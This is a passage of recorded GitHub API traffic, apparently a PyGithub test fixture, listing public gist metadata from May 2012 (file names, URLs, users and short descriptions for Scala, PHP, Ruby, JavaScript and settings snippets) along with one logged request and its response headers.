":"2729051"},{"updated_at":"2012-05-19T04:11:22Z","url":"https://api.github.com/gists/2729029","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729029.git","files":{"simple_http_client.scala":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729029/8b50a7e288120c33d4b49e1832d90bb620a2765e/simple_http_client.scala","size":417,"filename":"simple_http_client.scala","language":"Scala"},"using_routing_service.scala":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729029/6b3229017fb1831a7a2868f6d374c00148b571e8/using_routing_service.scala","size":1590,"filename":"using_routing_service.scala","language":"Scala"},"finagle_http_hello.scala":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729029/25ac8412cc6fa35351675e10ba2e4f0a17c20552/finagle_http_hello.scala","size":1145,"filename":"finagle_http_hello.scala","language":"Scala"}},"html_url":"https://gist.github.com/2729029","git_push_url":"git@gist.github.com:2729029.git","user":{"url":"https://api.github.com/users/tototoshi","gravatar_id":"405ad7da1defc0f6f8804e026778038f","login":"tototoshi","avatar_url":"https://secure.gravatar.com/avatar/405ad7da1defc0f6f8804e026778038f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":264469},"description":"finagle-http で Hello, world.","created_at":"2012-05-19T04:11:22Z","id":"2729029"},{"updated_at":"2012-05-19T04:10:56Z","url":"https://api.github.com/gists/2729027","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729027.git","files":{"resourcePHP":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729027/d64aeb0f97a7ae2d837f65b9b9b52234dac7f3e1/resourcePHP","size":6045,"filename":"resourcePHP","language":null}},"html_url":"https://gist.github.com/2729027","git_push_url":"git@gist.github.com:2729027.git","user":{"url":"https://api.github.com/users/eamexicano","gravatar_id":"ea41a0778d7736efedb9deacff43e613","login":"eamexicano","avatar_url":"https://secure.gravatar.com/avatar/ea41a0778d7736efedb9deacff43e613?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":63536},"description":"Funciona para crear las vistas (y SQL) de un recurso en PHP. Esta relacionado con setupPHP. Después de crear el proyecto con setup se utiliza este archivo para crear recursos dentro del proyecto. Al igual que setupPHP lo voy a reescribir en PHP.","created_at":"2012-05-19T04:10:33Z","id":"2729027"},{"updated_at":"2012-05-19T04:10:08Z","url":"https://api.github.com/gists/2729026","comments":1,"public":true,"git_pull_url":"git://gist.github.com/2729026.git","files":{"2012-05-19-ender-roundup.md":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729026/c5a687a9c76763fda5d4f141422aac6422765b6a/2012-05-19-ender-roundup.md","size":6389,"filename":"2012-05-19-ender-roundup.md","language":"Markdown"}},"html_url":"https://gist.github.com/2729026","git_push_url":"git@gist.github.com:2729026.git","user":{"url":"https://api.github.com/users/rvagg","gravatar_id":"026f5af604a336a38301639027757f29","login":"rvagg","avatar_url":"https://secure.gravatar.com/avatar/026f5af604a336a38301639027757f29?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":495647},"description":"DailyJS \"Ender Roundup\" #4, May 2012","created_at":"2012-05-19T04:10:08Z","id":"2729026"},{"updated_at":"2012-05-19T04:08:16Z","url":"https://api.github.com/gists/2729022","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2729022.git","files":{"setupPHP":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2729022/abe8f21e125ac96ca2cd7e1667cf05f6a8824105/setupPHP","size":1848,"filename":"setupPHP","language":null}},"html_url":"https://gist.github.com/2729022","git_push_url":"git@gist.github.com:2729022.git","user":{"url":"https://api.github.com/users/eamexicano","gravatar_id":"ea41a0778d7736efedb9deacff43e613","login":"eamexicano","avatar_url":"https://secure.gravatar.com/avatar/ea41a0778d7736efedb9deacff43e613?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":63536},"description":"Crear directorios archivos base para un proyecto básico en PHP. El archivo es sh se utiliza la terminal y necesita tener mysql en el $PATH (se tiene que estar ejecutando). Lo voy a reescribir en PHP para darle un mejor contexto y dejar este como referenci","created_at":"2012-05-19T04:08:16Z","id":"2729022"},{"updated_at":"2012-05-19T04:06:35Z","url":"https://api.github.com/gists/2729002","comments":2,"public":true,"git_pull_url":"git://gist.github.com/2729002.git","files":{"ConfigurationService.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2729002/cb5e3ac544a11e15c311d282850784e24d1060fa/ConfigurationService.php","size":25774,"filename":"ConfigurationService.php","language":"PHP"}},"html_url":"https://gist.github.com/2729002","git_push_url":"git@gist.github.com:2729002.git","user":{"url":"https://api.github.com/users/AmyStephen","gravatar_id":"d6a6b6a510c2e3bf82e2de88903fd610","login":"AmyStephen","avatar_url":"https://secure.gravatar.com/avatar/d6a6b6a510c2e3bf82e2de88903fd610?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":95525},"description":"Molajo Configuration Service","created_at":"2012-05-19T04:06:35Z","id":"2729002"},{"updated_at":"2012-05-19T04:02:30Z","url":"https://api.github.com/gists/2728985","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728985.git","files":{"SCII Fix Ubuntu 12.04":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728985/cd39c46eee874e3411c257f9b5e61c0e85a5ef9d/SCII Fix Ubuntu 12.04","size":50,"filename":"SCII Fix Ubuntu 12.04","language":null}},"html_url":"https://gist.github.com/2728985","git_push_url":"git@gist.github.com:2728985.git","user":{"url":"https://api.github.com/users/Chevex","gravatar_id":"de59eb063429d3157c5e7f87b5168437","login":"Chevex","avatar_url":"https://secure.gravatar.com/avatar/de59eb063429d3157c5e7f87b5168437?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":874394},"description":"Fix SCII on Ubuntu 12.04","created_at":"2012-05-19T04:02:30Z","id":"2728985"},{"updated_at":"2012-05-19T04:33:19Z","url":"https://api.github.com/gists/2728979","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728979.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728979/53c1244ad9de74354e5aa380260699d50fc38364/dabblet.css","size":405,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728979/638ee815c707ff8b04bd79b9f94d6a5584a50924/dabblet.html","size":68,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728979/f9b473b3380e302ad0c707460c59a541870e0d3b/settings.json","size":79,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728979","git_push_url":"git@gist.github.com:2728979.git","user":{"url":"https://api.github.com/users/lucasmazza","gravatar_id":"450908b4010abbbf9eebc146ed4c0246","login":"lucasmazza","avatar_url":"https://secure.gravatar.com/avatar/450908b4010abbbf9eebc146ed4c0246?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":80978},"description":"shadowy trick by nrrrdcore","created_at":"2012-05-19T03:59:01Z","id":"2728979"},{"updated_at":"2012-05-19T03:48:38Z","url":"https://api.github.com/gists/2728964","comments":1,"public":true,"git_pull_url":"git://gist.github.com/2728964.git","files":{"ModelController.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2728964/6ef504752c3463a92d12be53a6d7b1b4a5fd5bfb/ModelController.php","size":4966,"filename":"ModelController.php","language":"PHP"}},"html_url":"https://gist.github.com/2728964","git_push_url":"git@gist.github.com:2728964.git","user":{"url":"https://api.github.com/users/AmyStephen","gravatar_id":"d6a6b6a510c2e3bf82e2de88903fd610","login":"AmyStephen","avatar_url":"https://secure.gravatar.com/avatar/d6a6b6a510c2e3bf82e2de88903fd610?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":95525},"description":"Molajo ModelController","created_at":"2012-05-19T03:48:38Z","id":"2728964"},{"updated_at":"2012-05-19T03:44:45Z","url":"https://api.github.com/gists/2728937","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728937.git","files":{"get_card.m":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728937/2c5f09aa2cb3cf2fec4becc425f6a06b6300e722/get_card.m","size":2279,"filename":"get_card.m","language":"Matlab"},"game26.m":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728937/0f9add7f1967c0fde154e954e4042b3214a0c6e3/game26.m","size":2050,"filename":"game26.m","language":"Matlab"}},"html_url":"https://gist.github.com/2728937","git_push_url":"git@gist.github.com:2728937.git","user":{"url":"https://api.github.com/users/593mrbean","gravatar_id":"7217bb44883e10bbd2299b1b52c3c59d","login":"593mrbean","avatar_url":"https://secure.gravatar.com/avatar/7217bb44883e10bbd2299b1b52c3c59d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1645006},"description":"Card game called 26","created_at":"2012-05-19T03:44:45Z","id":"2728937"},{"updated_at":"2012-05-19T03:42:54Z","url":"https://api.github.com/gists/2728933","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728933.git","files":{"gistfile1.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728933/4eacdc9596a77a195bd941d20a230acf235a3c52/gistfile1.js","size":247,"filename":"gistfile1.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728933","git_push_url":"git@gist.github.com:2728933.git","user":{"url":"https://api.github.com/users/hafriedlander","gravatar_id":"2d899af51e0f7e1cfab801bc677e05fb","login":"hafriedlander","avatar_url":"https://secure.gravatar.com/avatar/2d899af51e0f7e1cfab801bc677e05fb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":114769},"description":"Entwine create property on first access pattern","created_at":"2012-05-19T03:42:54Z","id":"2728933"},{"updated_at":"2012-05-19T03:35:30Z","url":"https://api.github.com/gists/2728884","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728884.git","files":{"gistfile1.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728884/192cc8399a6d4a8bc3d2bfa5990840427aa96b80/gistfile1.js","size":1502,"filename":"gistfile1.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728884","git_push_url":"git@gist.github.com:2728884.git","user":{"url":"https://api.github.com/users/codeglot","gravatar_id":"b681feb514f5756a45a4f106cf0f32de","login":"codeglot","avatar_url":"https://secure.gravatar.com/avatar/b681feb514f5756a45a4f106cf0f32de?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":68357},"description":"Character Hero Audio","created_at":"2012-05-19T03:35:30Z","id":"2728884"},{"updated_at":"2012-05-19T03:31:32Z","url":"https://api.github.com/gists/2728869","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728869.git","files":{"Fetch.sublime-settings":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728869/a071cb66ddd3d5597e4e20d2bf342e003b7644af/Fetch.sublime-settings","size":5361,"filename":"Fetch.sublime-settings","language":null}},"html_url":"https://gist.github.com/2728869","git_push_url":"git@gist.github.com:2728869.git","user":{"url":"https://api.github.com/users/dariongg","gravatar_id":"bc78aea61cd6c0769c2172e6954ed922","login":"dariongg","avatar_url":"https://secure.gravatar.com/avatar/bc78aea61cd6c0769c2172e6954ed922?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1194592},"description":"Sublime Text 2 Fetch Settings","created_at":"2012-05-19T03:31:32Z","id":"2728869"},{"updated_at":"2012-05-19T03:29:57Z","url":"https://api.github.com/gists/2728866","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728866.git","files":{"glmnet.R":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728866/d9e836fe86d3fdc3630b44478535b359c8fe197a/glmnet.R","size":2150,"filename":"glmnet.R","language":"R"}},"html_url":"https://gist.github.com/2728866","git_push_url":"git@gist.github.com:2728866.git","user":{"url":"https://api.github.com/users/xccds","gravatar_id":"526adb6a5fc533c3678f897f3434980a","login":"xccds","avatar_url":"https://secure.gravatar.com/avatar/526adb6a5fc533c3678f897f3434980a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1450275},"description":"","created_at":"2012-05-19T03:29:57Z","id":"2728866"},{"updated_at":"2012-05-19T03:24:28Z","url":"https://api.github.com/gists/2728855","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728855.git","files":{"find_a_person.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728855/b0ee73ffc28b330b16a3c29ee3e41cd49ce5a95a/find_a_person.rb","size":911,"filename":"find_a_person.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728855","git_push_url":"git@gist.github.com:2728855.git","user":{"url":"https://api.github.com/users/mungruby","gravatar_id":"ead0c810163c355535e7c47c20955073","login":"mungruby","avatar_url":"https://secure.gravatar.com/avatar/ead0c810163c355535e7c47c20955073?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1103706},"description":"example of using the inject method","created_at":"2012-05-19T03:24:28Z","id":"2728855"},{"updated_at":"2012-05-19T03:22:49Z","url":"https://api.github.com/gists/2728854","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728854.git","files":{"Gemfile":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728854/b22f6da889266f0f0809bb0109833ec577a98fd9/Gemfile","size":127,"filename":"Gemfile","language":"Ruby"},"Rakefile":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728854/1d28967f05e49ccb5eabd617f8869e3484617580/Rakefile","size":2424,"filename":"Rakefile","language":"Ruby"},"config.ru":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728854/735f67725308b5b3dbdd3d3e27c6d12b0b82da88/config.ru","size":714,"filename":"config.ru","language":"Ruby"}},"html_url":"https://gist.github.com/2728854","git_push_url":"git@gist.github.com:2728854.git","user":{"url":"https://api.github.com/users/ntreadway","gravatar_id":"c580eb3fb9d0c62d0aae3aa2bc473ba5","login":"ntreadway","avatar_url":"https://secure.gravatar.com/avatar/c580eb3fb9d0c62d0aae3aa2bc473ba5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":15833},"description":"A Phonegap development workflow with Rack and Sprockets - http://abhishiv.tumblr.com/post/15994872384/phonegap-and-sprockets-sitting-in-a-tree","created_at":"2012-05-19T03:22:49Z","id":"2728854"},{"updated_at":"2012-05-19T03:22:21Z","url":"https://api.github.com/gists/2728853","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728853.git","files":{"gistfile1.pytb":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728853/4b94e624d7d11a46959f4f115082bf39e469c762/gistfile1.pytb","size":4493,"filename":"gistfile1.pytb","language":"Python traceback"}},"html_url":"https://gist.github.com/2728853","git_push_url":"git@gist.github.com:2728853.git","user":{"url":"https://api.github.com/users/douglatornell","gravatar_id":"dbbe0d92c98862a28a300b8524ede105","login":"douglatornell","avatar_url":"https://secure.gravatar.com/avatar/dbbe0d92c98862a28a300b8524ede105?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":76797},"description":"Typical Traceback of Blogofile plugins Branch Test Error (py.test)","created_at":"2012-05-19T03:22:21Z","id":"2728853"},{"updated_at":"2012-05-19T03:17:49Z","url":"https://api.github.com/gists/2728846","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728846.git","files":{"alcohol.rb":{"type":"application/ruby","raw_url":"https://gist.github.com/raw/2728846/0e565f8eb93c0ce655f6c0af276283e1c9063970/alcohol.rb","size":2476,"filename":"alcohol.rb","language":"Ruby"}},"html_url":"https://gist.github.com/2728846","git_push_url":"git@gist.github.com:2728846.git","user":{"url":"https://api.github.com/users/alloy-d","gravatar_id":"c7ed2a732872be2e1af11430e545a513","login":"alloy-d","avatar_url":"https://secure.gravatar.com/avatar/c7ed2a732872be2e1af11430e545a513?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":78450},"description":"'cause robots should type drunk, too","created_at":"2012-05-19T03:17:49Z","id":"2728846"},{"updated_at":"2012-05-19T03:13:03Z","url":"https://api.github.com/gists/2728825","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728825.git","files":{"dabblet.css":{"type":"text/css","raw_url":"https://gist.github.com/raw/2728825/2e6c3240e873c271762938afa4eebe5be39f496c/dabblet.css","size":177,"filename":"dabblet.css","language":"CSS"},"dabblet.html":{"type":"text/html","raw_url":"https://gist.github.com/raw/2728825/c65da83130a8b8ffd5511de7411e303d2aca1481/dabblet.html","size":41,"filename":"dabblet.html","language":"HTML"},"settings.json":{"type":"application/json","raw_url":"https://gist.github.com/raw/2728825/97f2ad9f07f823c2ca15aad5051d48f9b63c42de/settings.json","size":82,"filename":"settings.json","language":"JSON"}},"html_url":"https://gist.github.com/2728825","git_push_url":"git@gist.github.com:2728825.git","user":{"url":"https://api.github.com/users/bidah","gravatar_id":"af4fa83a6af88f151cfe8f4b86ce1a4f","login":"bidah","avatar_url":"https://secure.gravatar.com/avatar/af4fa83a6af88f151cfe8f4b86ce1a4f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1574028},"description":"Untitled","created_at":"2012-05-19T03:13:03Z","id":"2728825"}] https GET api.github.com None /gists/public?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4976'), ('content-length', '28245'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"5b04b57eaf693f580a30b16157f9ca70"'), ('date', 'Sat, 19 May 2012 06:25:53 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-19T03:23:29Z","url":"https://api.github.com/gists/2728814","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728814.git","files":{"gistfile1.pytb":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728814/13c1cac8f62d29f0619ddf341fc0c9d2d4128a5c/gistfile1.pytb","size":1329,"filename":"gistfile1.pytb","language":"Python traceback"}},"html_url":"https://gist.github.com/2728814","git_push_url":"git@gist.github.com:2728814.git","user":{"url":"https://api.github.com/users/douglatornell","gravatar_id":"dbbe0d92c98862a28a300b8524ede105","login":"douglatornell","avatar_url":"https://secure.gravatar.com/avatar/dbbe0d92c98862a28a300b8524ede105?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":76797},"description":"Typical Traceback of Blogofile plugins Branch Test Error (unittest discover)","created_at":"2012-05-19T03:09:10Z","id":"2728814"},{"updated_at":"2012-05-19T03:08:51Z","url":"https://api.github.com/gists/2728813","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728813.git","files":{"SSID_automount.scpt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728813/56fd663e9cb3d398dc0db86c8199c2370d7c3807/SSID_automount.scpt","size":1544,"filename":"SSID_automount.scpt","language":"AppleScript"}},"html_url":"https://gist.github.com/2728813","git_push_url":"git@gist.github.com:2728813.git","user":{"url":"https://api.github.com/users/cbuck","gravatar_id":"854462d067823b5648bbde1193cfcc17","login":"cbuck","avatar_url":"https://secure.gravatar.com/avatar/854462d067823b5648bbde1193cfcc17?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":98870},"description":"Automount network drives via ssid name","created_at":"2012-05-19T03:08:51Z","id":"2728813"},{"updated_at":"2012-05-19T03:08:35Z","url":"https://api.github.com/gists/2728812","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728812.git","files":{"Server.java":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728812/761e4d4487d603a7214062626424f10c576a0637/Server.java","size":799,"filename":"Server.java","language":"Java"},"Client.java":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728812/e532688e540567c3bdc5d0db53b4da38578c98e9/Client.java","size":1121,"filename":"Client.java","language":"Java"}},"html_url":"https://gist.github.com/2728812","git_push_url":"git@gist.github.com:2728812.git","user":{"url":"https://api.github.com/users/making","gravatar_id":"414cddef87d9c4c451bb16648281f4ec","login":"making","avatar_url":"https://secure.gravatar.com/avatar/414cddef87d9c4c451bb16648281f4ec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":106908},"description":"Java Finagle Example","created_at":"2012-05-19T03:08:35Z","id":"2728812"},{"updated_at":"2012-05-19T03:06:14Z","url":"https://api.github.com/gists/2728805","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728805.git","files":{"gistfile1.coffee":{"type":"text/coffescript","raw_url":"https://gist.github.com/raw/2728805/165e7493748ef11474bf9ab0170cbc6e2ca87b56/gistfile1.coffee","size":280,"filename":"gistfile1.coffee","language":"CoffeeScript"}},"html_url":"https://gist.github.com/2728805","git_push_url":"git@gist.github.com:2728805.git","user":{"url":"https://api.github.com/users/charliesome","gravatar_id":"bcb6acc9d0d9bef99e033b36c3d32ca9","login":"charliesome","avatar_url":"https://secure.gravatar.com/avatar/bcb6acc9d0d9bef99e033b36c3d32ca9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":179065},"description":"","created_at":"2012-05-19T03:06:14Z","id":"2728805"},{"updated_at":"2012-05-19T03:05:45Z","url":"https://api.github.com/gists/2728802","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728802.git","files":{"pre-commit.sh":{"type":"application/sh","raw_url":"https://gist.github.com/raw/2728802/5bd18d3abc2f8c2954c8fd37c98ab712422db1c4/pre-commit.sh","size":447,"filename":"pre-commit.sh","language":"Shell"}},"html_url":"https://gist.github.com/2728802","git_push_url":"git@gist.github.com:2728802.git","user":{"url":"https://api.github.com/users/steakknife","gravatar_id":"3f582b2bc3caf0d7074e85cdf2046a0f","login":"steakknife","avatar_url":"https://secure.gravatar.com/avatar/3f582b2bc3caf0d7074e85cdf2046a0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":224304},"description":"basic ruby pre-commit hook","created_at":"2012-05-19T03:05:45Z","id":"2728802"},{"updated_at":"2012-05-19T03:04:59Z","url":"https://api.github.com/gists/2728800","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728800.git","files":{"site-name-slogan.php":{"type":"application/httpd-php","raw_url":"https://gist.github.com/raw/2728800/699d94d37aca0f392c2aa0888d981cf6605f92eb/site-name-slogan.php","size":781,"filename":"site-name-slogan.php","language":"PHP"}},"html_url":"https://gist.github.com/2728800","git_push_url":"git@gist.github.com:2728800.git","user":{"url":"https://api.github.com/users/shovon","gravatar_id":"2edd809f45e37c99eefbd6e7c969b52a","login":"shovon","avatar_url":"https://secure.gravatar.com/avatar/2edd809f45e37c99eefbd6e7c969b52a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":284576},"description":"This is how to display the site's name on Drupal.","created_at":"2012-05-19T03:04:59Z","id":"2728800"},{"updated_at":"2012-05-19T03:04:00Z","url":"https://api.github.com/gists/2728798","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728798.git","files":{"gistfile1.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728798/839b901aeab26cc01e38cefe56b13bcd5521a047/gistfile1.js","size":516,"filename":"gistfile1.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728798","git_push_url":"git@gist.github.com:2728798.git","user":{"url":"https://api.github.com/users/hxgdzyuyi","gravatar_id":"7147355364e2d40866e04cd2240c1ea8","login":"hxgdzyuyi","avatar_url":"https://secure.gravatar.com/avatar/7147355364e2d40866e04cd2240c1ea8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":163671},"description":"自动跳转到广播页","created_at":"2012-05-19T03:04:00Z","id":"2728798"},{"updated_at":"2012-05-19T03:03:18Z","url":"https://api.github.com/gists/2728797","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728797.git","files":{"ReplaceMore.scpt":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728797/1eca6d122ae4dbf2693275c42cf84330bdf9e3e2/ReplaceMore.scpt","size":804,"filename":"ReplaceMore.scpt","language":"AppleScript"}},"html_url":"https://gist.github.com/2728797","git_push_url":"git@gist.github.com:2728797.git","user":{"url":"https://api.github.com/users/azur256","gravatar_id":"83c061569bd6f20ff8e31262759fff62","login":"azur256","avatar_url":"https://secure.gravatar.com/avatar/83c061569bd6f20ff8e31262759fff62?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1566752},"description":"Replace more tag.","created_at":"2012-05-19T03:03:18Z","id":"2728797"},{"updated_at":"2012-05-19T03:03:16Z","url":"https://api.github.com/gists/2728796","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728796.git","files":{".gitignore":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728796/f59ec20aabf5842d237244ece8c81ab184faeac1/.gitignore","size":1,"filename":".gitignore","language":null},"Default (OSX).sublime-keymap":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728796/506c4285889fd4fc03ba528c1c513033302387fd/Default (OSX).sublime-keymap","size":656,"filename":"Default (OSX).sublime-keymap","language":null},"Global.sublime-settings":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728796/3bda756d25d8fce508283e0657f648eea0b1cea4/Global.sublime-settings","size":544,"filename":"Global.sublime-settings","language":null},"Base File.sublime-settings":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728796/7bc9db091b59e013cba94f72d5fc9a08b3cbdbaa/Base File.sublime-settings","size":317,"filename":"Base File.sublime-settings","language":null}},"html_url":"https://gist.github.com/2728796","git_push_url":"git@gist.github.com:2728796.git","user":{"url":"https://api.github.com/users/dariongg","gravatar_id":"bc78aea61cd6c0769c2172e6954ed922","login":"dariongg","avatar_url":"https://secure.gravatar.com/avatar/bc78aea61cd6c0769c2172e6954ed922?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1194592},"description":"My Sublime settings","created_at":"2012-05-19T03:03:16Z","id":"2728796"},{"updated_at":"2012-05-19T03:01:25Z","url":"https://api.github.com/gists/2728793","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728793.git","files":{"makefile":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728793/f44b7828cc9412e7e909cab3b6593bc4a4c7ab4d/makefile","size":291,"filename":"makefile","language":"Makefile"},"epolltest.c":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728793/79b891652e540109a21cc1dab5eb703b8b6f9011/epolltest.c","size":5327,"filename":"epolltest.c","language":"C"}},"html_url":"https://gist.github.com/2728793","git_push_url":"git@gist.github.com:2728793.git","user":{"url":"https://api.github.com/users/maxdeliso","gravatar_id":"0bf2454bf0ca807891ec4f8947a99a61","login":"maxdeliso","avatar_url":"https://secure.gravatar.com/avatar/0bf2454bf0ca807891ec4f8947a99a61?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":713472},"description":"epolltest.c","created_at":"2012-05-19T03:01:25Z","id":"2728793"},{"updated_at":"2012-05-19T02:43:25Z","url":"https://api.github.com/gists/2728758","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728758.git","files":{"HintTextArea.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728758/212f354a1114749b1da7921edd198b3ebd726605/HintTextArea.js","size":1389,"filename":"HintTextArea.js","language":"JavaScript"},"app.js":{"type":"application/javascript","raw_url":"https://gist.github.com/raw/2728758/a990d52ee95c134a801239c525219601faf79194/app.js","size":1289,"filename":"app.js","language":"JavaScript"}},"html_url":"https://gist.github.com/2728758","git_push_url":"git@gist.github.com:2728758.git","user":{"url":"https://api.github.com/users/dmarcelino","gravatar_id":"afab66b97eac5e941e62cb533d7ab655","login":"dmarcelino","avatar_url":"https://secure.gravatar.com/avatar/afab66b97eac5e941e62cb533d7ab655?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1280446},"description":"A Titanium Mobile implementation of a TextArea with hintText compatible with iOS","created_at":"2012-05-19T02:43:25Z","id":"2728758"},{"updated_at":"2012-05-19T02:42:34Z","url":"https://api.github.com/gists/2728754","comments":0,"public":true,"git_pull_url":"git://gist.github.com/2728754.git","files":{"Fetch.sublime-settings":{"type":"text/plain","raw_url":"https://gist.github.com/raw/2728754/72589d4f99025667d5747d120c1d2ce440ab3c70/Fetch.sublime-settings","size":3404,"filename":"Fetch.sublime-settings","language":null}},"html_url":"https://gist.github.com/2728754","git_push_url":"git@gist.github.com:2728754.git","user":{"url":"https://api.github.com/users/dariongg","gravatar_id":"bc78aea61cd6c0769c2172e6954ed922","login":"dariongg","avatar_url":"https://secure.gravatar.com/avatar/bc78aea61cd6c0769c2172e6954ed922?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1194592},"description":"sublime: fetch settings for sublime text 